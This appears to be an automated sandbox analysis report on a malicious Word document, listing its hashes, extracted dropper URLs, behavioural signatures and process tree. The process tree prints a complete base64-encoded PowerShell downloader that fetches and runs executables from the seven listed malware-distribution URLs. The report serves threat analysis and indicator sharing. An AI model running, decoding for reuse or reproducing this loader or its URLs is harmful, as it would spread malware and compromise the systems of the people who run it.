Analysis

  • max time kernel
    119s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/09/2024, 08:56

General

  • Target

    ed4039f3fd3713962719074e1c95723d_JaffaCakes118.doc

  • Size

    213KB

  • MD5

    ed4039f3fd3713962719074e1c95723d

  • SHA1

    112b981e328176f698161aba4c50a042b61516ce

  • SHA256

    82db633a79ef7fe836d666e7da62a23e424e40387e257c949fdad5990b6d9e04

  • SHA512

    a5094ec843488670c6b746f880622d43904b582411faef2b42c4df33512b480877bb759a7a31e6ab694b4a0a1bc25141e1d72f16e9f6459c138d7f2a87a62dea

  • SSDEEP

    3072:u22TWTogk079THcpOu5UZw0/6tJR6RDfo:u/TX07hHcJQwtT6RTo

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.1plus-agency.com/tmp/nlr08Z0/

exe.dropper

http://winadev.com/uglot/iiClU/

exe.dropper

https://enews.enkj.com/wordpress/h62/

exe.dropper

https://apicosto.misco-furniture.com/dvzmj/0xm3yS/

exe.dropper

http://drbeatrice.com/wp-content/HSz/

exe.dropper

https://ienerpro.com/cgi-bin/VVwhOR/

exe.dropper

https://premierbarsamui.com/Irc/O/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 11 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ed4039f3fd3713962719074e1c95723d_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2336
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1448
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABRAGMAawA4ADIAOAB2AD0AKAAoACcAUgAnACsAJwBoAHgAZAAnACkAKwAnAHMAJwArACcAbwBqACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBzAGUAUgBQAHIATwBmAGkAbABFAFwAWABCADEAcgBxAE0AbwBcAEMAagAyAHoAMgBqAFAAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAGAAVQBgAFIAaQB0AGAAWQBwAFIAYABPAHQAbwBDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAsACAAJwArACcAdAAnACkAKwAnAGwAJwArACcAcwAxACcAKwAoACcAMQAnACsAJwAsACAAdABsACcAKwAnAHMAJwApACkAOwAkAE0AbwA2ADAAYwBrAHgAIAA9ACAAKAAnAFQAbAAnACsAJwB5AGwAJwArACcAbgBnACcAKQA7ACQASwB5AHIAMwBsADMANgA9ACgAKAAnAEcAJwArACcAXwBnACcAKwAnAG0AYQBhACcAKQArACcAMgAnACkAOwAkAFQAYgBfADYAdQBzAHQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAWAAnACsAJwA5ACcAKwAoACcAQgAnACsAJwBYAGIAMQAnACkAKwAnAHIAcQAnACsAKAAnAG0AbwBYADkAQgBDACcAKwAnAGoAJwApACsAJwAyAHoAJwArACgAJwAyACcAKwAnAGoAcABYADkAQgAnACkAKQAuACIAUgBgAEUAYABwAGwAYQBDAEUAIgAoACgAWwBDAEgAQQBSAF0AOAA4ACsAWwBDAEgAQQBSAF0ANQA3ACsAWwBDAEgAQQBSAF0ANgA2ACkALABbAHMAdAByAGkAbgBHAF0AWwBDAEgAQQBSAF0AOQAyACkAKQArACQATQBvADYAMABjAGsAeAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAWgByAGoANQBpAHoAawA9ACgAKAAnAFIAYQB3ACcAKwAnADAAJwArACcAcAB3ACcAKQArACcAZAAnACkAOwAkAFQAagAzAGEAOQAxADMAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AVwBFAEIAYwBsAGkAZQBOAHQAOwAkAFoAaAA5AGYAcgBuAG4APQAoACgAJwBoAHQAJwArACcAdABwAHMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwB3AHcAdwAuACcAKwAnADEAJwApACsAKAAnAHAAJwArACcAbAB1ACcAKQArACcAcwAtACcAKwAoACcAYQBnACcAKwAnAGUAJwApACsAKAAnAG4AJwArACcAYwB5AC4AJwApACsAKAAnAGMAbwBtACcAKwAnAC8AdABtAHAALwBuACcAKwAnAGwAcgAwADgAJwArACcAWgAwAC8AKgBoAHQAdAAnACsAJwBwADoALwAvACcAKQArACgAJwB3AGkAbgBhAGQAZQB2AC4AJwArACcAYwBvAG0AJwArACcALwB1AGcAJwApACsAJwBsAG8AJwArACgAJwB0AC8AaQBpAEMAbAAnACsAJwBVAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwA6AC8AJwApACsAKAAnAC8AZQAnACsAJwBuAGUAJwApACsAJwB3AHMAJwArACcALgBlACcAKwAoACcAbgBrACcAKwAnAGoALgAnACkAKwAoACcAYwBvAG0ALwB3ACcAKwAnAG8AJwArACcAcgBkAHAAcgAnACsAJwBlAHMAcwAvAGgAJwArACcANgAyACcAKwAnAC8AKgBoACcAKQArACgAJwB0AHQAcABzADoALwAnACsAJwAvACcAKQArACcAYQAnACsAJwBwAGkAJwArACcAYwAnACsAJwBvACcAKwAoACcAcwAnACsAJwB0AG8ALgBtAGkAcwBjAG8ALQAnACsAJwBmACcAKwAnAHUAJwArACcAcgBuAGkAdAB1AHIAJwArACcAZQAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwBkAHYAegAnACsAJwBtAGoALwAnACsAJwAwAHgAbQAzAHkAUwAvACcAKQArACcAKgAnACsAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgAvAC8AJwApACsAKAAnAGQAJwArACcAcgBiACcAKQArACcAZQBhACcAKwAnAHQAcgAnACsAJwBpAGMAJwArACgAJwBlAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAKAAnAC8AJwArACcAdwBwAC0AYwBvAG4AdAAnACsAJwBlAG4AJwArACcAdAAvAEgAJwApACsAKAAnAFMAegAnACsAJwAvACoAaAB0AHQAcABzADoAJwArACcALwAnACsAJwAvAGkAZQBuACcAKwAnAGUAJwApACsAJwByACcAKwAnAHAAJwArACgAJwByAG8ALgBjACcAKwAnAG8AJwArACcAbQAvAGMAJwApACsAJwBnAGkAJwArACgAJwAtAGIAaQBuAC8AVgAnACsAJwBWACcAKQArACgAJwB3ACcAKwAnAGgATwAnACkAKwAnAFIALwAnACsAJwAqAGgAJwArACcAdAB0ACcAKwAnAHAAJwArACcAcwA6ACcAKwAoACcALwAnACsAJwAvAHAAJwApACsAKAAnAHIAZQAnACsAJwBtACcAKQArACgAJwBpAGUAcgBiACcAKwAnAGEAJwApACsAKAAnAHIAcwAnACsAJwBhACcAKwAnAG0AdQBpAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAJwAvAEkAJwArACcAcgAnACsAJwBjACcAKwAoACcALwBPACcAKwAnAC8AJwApACkALgAiAHMAYABwAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATAAzADcAagBqAGUAawA9ACgAKAAnAFYAJwArACcAaABwAGUAJwApACsAKAAnAGwAJwArACcAYgBpACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQASwBuAG8AdQBuAGMAeAAgAGkAbgAgACQAWgBoADkAZgByAG4AbgApAHsAdAByAHkAewAkAFQAagAzAGEAOQAxADMALgAiAGQATwB3AGAATgBsAG8AQQBgAEQARgBpAEwARQAiACgAJABLAG4AbwB1AG4AYwB4ACwAIAAkAFQAYgBfADYAdQBzAHQAKQA7ACQAWgAwAHkANgBkAG0AYgA9ACgAJwBKAHIAJwArACgAJwBkAGwAJwArACcAZgAnACkAKwAnADcAdgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAVABiAF8ANgB1AHMAdAApAC4AIgBsAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMgA0ADYANgApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAJwArACcAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABUAGIAXwA2AHUAcwB0ACkAOwAkAFcANwBpAGYAcwBkADcAPQAoACgAJwBPAGEAJwArACcAYgBrACcAKQArACcAZwAnACsAJwB6AHgAJwApADsAYgByAGUAYQBrADsAJABOADAAcgAwAGkAaABlAD0AKAAoACcARQA3ACcAKwAnADQAJwApACsAKAAnAGEAXwAnACsAJwB1ACcAKQArACcAOQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAaQBxAGcAXwAwAHMAPQAoACcAVQAnACsAKAAnAHoAdQBtACcAKwAnAGEAJwApACsAJwBwAGcAJwApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2756

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      54228b801d92297291b07dcc68dd4c40

      SHA1

      bc674aa6d6687d74babd18ba17c71422660a8d71

      SHA256

      1552a2eb51776e5528f3a0188bb179708d26548a526be3aae22e1202295840a9

      SHA512

      5a756d682b51f795fde8bfe9cd4fa6b92cc5d431d83e2684230f3bfccb9d76ac32e162d1c38fc16c292f7f8e7c60257f8ac8435c22ba43baa159991224fbd0fe

    • memory/2336-32-0x0000000005A00000-0x0000000005B00000-memory.dmp

      Filesize

      1024KB

    • memory/2336-2-0x00000000717BD000-0x00000000717C8000-memory.dmp

      Filesize

      44KB

    • memory/2336-6-0x00000000007D0000-0x00000000008D0000-memory.dmp

      Filesize

      1024KB

    • memory/2336-5-0x00000000007D0000-0x00000000008D0000-memory.dmp

      Filesize

      1024KB

    • memory/2336-7-0x00000000007D0000-0x00000000008D0000-memory.dmp

      Filesize

      1024KB

    • memory/2336-16-0x0000000005A00000-0x0000000005B00000-memory.dmp

      Filesize

      1024KB

    • memory/2336-21-0x0000000005A00000-0x0000000005B00000-memory.dmp

      Filesize

      1024KB

    • memory/2336-26-0x0000000005A00000-0x0000000005B00000-memory.dmp

      Filesize

      1024KB

    • memory/2336-0-0x000000002F101000-0x000000002F102000-memory.dmp

      Filesize

      4KB

    • memory/2336-31-0x0000000005A00000-0x0000000005B00000-memory.dmp

      Filesize

      1024KB

    • memory/2336-44-0x00000000717BD000-0x00000000717C8000-memory.dmp

      Filesize

      44KB

    • memory/2336-66-0x00000000717BD000-0x00000000717C8000-memory.dmp

      Filesize

      44KB

    • memory/2336-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2336-45-0x00000000007D0000-0x00000000008D0000-memory.dmp

      Filesize

      1024KB

    • memory/2336-46-0x0000000006340000-0x0000000006440000-memory.dmp

      Filesize

      1024KB

    • memory/2336-47-0x0000000005A00000-0x0000000005B00000-memory.dmp

      Filesize

      1024KB

    • memory/2336-48-0x0000000005A00000-0x0000000005B00000-memory.dmp

      Filesize

      1024KB

    • memory/2336-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2756-38-0x000000001B720000-0x000000001BA02000-memory.dmp

      Filesize

      2.9MB

    • memory/2756-39-0x0000000002710000-0x0000000002718000-memory.dmp

      Filesize

      32KB